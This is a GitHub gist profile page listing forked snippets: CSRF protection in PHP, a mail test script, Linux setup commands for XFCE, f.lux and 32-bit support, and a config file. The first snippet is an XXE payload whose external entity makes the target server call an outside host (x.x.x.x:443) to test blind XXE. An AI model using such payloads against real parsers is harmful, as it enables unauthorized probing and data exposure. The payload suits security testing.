Skip to content

Instantly share code, notes, and snippets.

View sengkyaut's full-sized avatar
🐶
Working from home

Seng Kyaut sengkyaut

🐶
Working from home
View GitHub Profile
@sengkyaut
sengkyaut / XXE_payloads
Created June 23, 2017 16:18 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@sengkyaut
sengkyaut / index.php
Created August 28, 2017 14:59 — forked from ziadoz/index.php
Simple PHP / jQuery CSRF Protection
<?php
// See: http://blog.ircmaxell.com/2013/02/preventing-csrf-attacks.html
// Start a session (which should use cookies over HTTP only).
session_start();
// Create a new CSRF token.
if (! isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = base64_encode(openssl_random_pseudo_bytes(32));
}
@sengkyaut
sengkyaut / mail-test.php
Created August 28, 2017 16:40 — forked from Dreyer/mail-test.php
Quick & Dirty PHP Mail Test Script
<?php
/*
DONT FORGET TO DELETE THIS SCRIPT WHEN FINISHED!
*/
ini_set( 'display_errors', 1 );
error_reporting( E_ALL );
$from = 'webmaster@example.com';
@sengkyaut
sengkyaut / 1-file.txt
Created September 28, 2017 18:49 — forked from cowboy/1-file.txt
Iterate over all lines in a file, handing extra trailing newlines
foo bar
baz
qux
last line (there may or may not be a trailing newline after this line)
using System;
using System.Diagnostics;
namespace peewpw
{
static class Program
{
[STAThread]
static void Main()
{
sudo apt-get install python-glade2 python-appindicator
git clone https://github.com/Kilian/f.lux-indicator-applet.git
cd f.lux-indicator-applet
chmod +x setup.py
sudo ./setup.py install
fluxgui
@sengkyaut
sengkyaut / UPower.conf
Created January 9, 2019 11:48 — forked from RobbiNespu/UPower.conf
Power setting (/etc/UPower/UPower.conf)
# Only the system vendor should modify this file, ordinary users
# should not have to change anything.
[UPower]
# Enable the Watts Up Pro device.
#
# The Watts Up Pro contains a generic FTDI USB device without a specific
# vendor and product ID. When we probe for WUP devices, we can cause
# the user to get a perplexing "Device or resource busy" error when
@sengkyaut
sengkyaut / kali_xfce.txt
Created October 12, 2019 11:50
intstall xfce in kali
sudo apt-get install kali-defaults kali-root-login desktop-base xfce4 xfce4-places-plugin xfce4-goodies
update-alternatives –config x-session-manager
@sengkyaut
sengkyaut / add 32 bit architecture in 64 bit Linux.txt
Created October 12, 2019 11:54
add 32 bit architecture in 64 bit Linux
Commands
------------------------------------------
dpkg --print-architecture
sudo dpkg --add-architecture i386 && sudo apt update
apt-get install lib32z1 lib32ncurses5 lib32stdc++6
------------------------------------------
dpkg --add-architecture i386 (enable multi-arch)
@sengkyaut
sengkyaut / 32-bit support in WSL.txt
Created October 12, 2019 11:55
32-bit support in WSL
https://github.com/microsoft/wsl/issues/2468#issuecomment-374904520
sudo service binfmt-support start
https://github.com/WhitewaterFoundry/Pengwin/issues/273#issuecomment-451274200
Based on some tinkering I was doing with qemu for some ARM dev, I think I may have found a technique to allow general 32-bit support in WSL. Hat-tip to @therealkenc for the concept 😁
Edit: requires "Fall Creators Update", 1709, build 16299 or newer (I think)
Presuming a fresh Ubuntu WSL instance, you'll need to install the qemu-user-static package, add the i386 binfmt, enable the i386 architecture, update your package lists, and install some i386 packages:
Install qemu and binfmt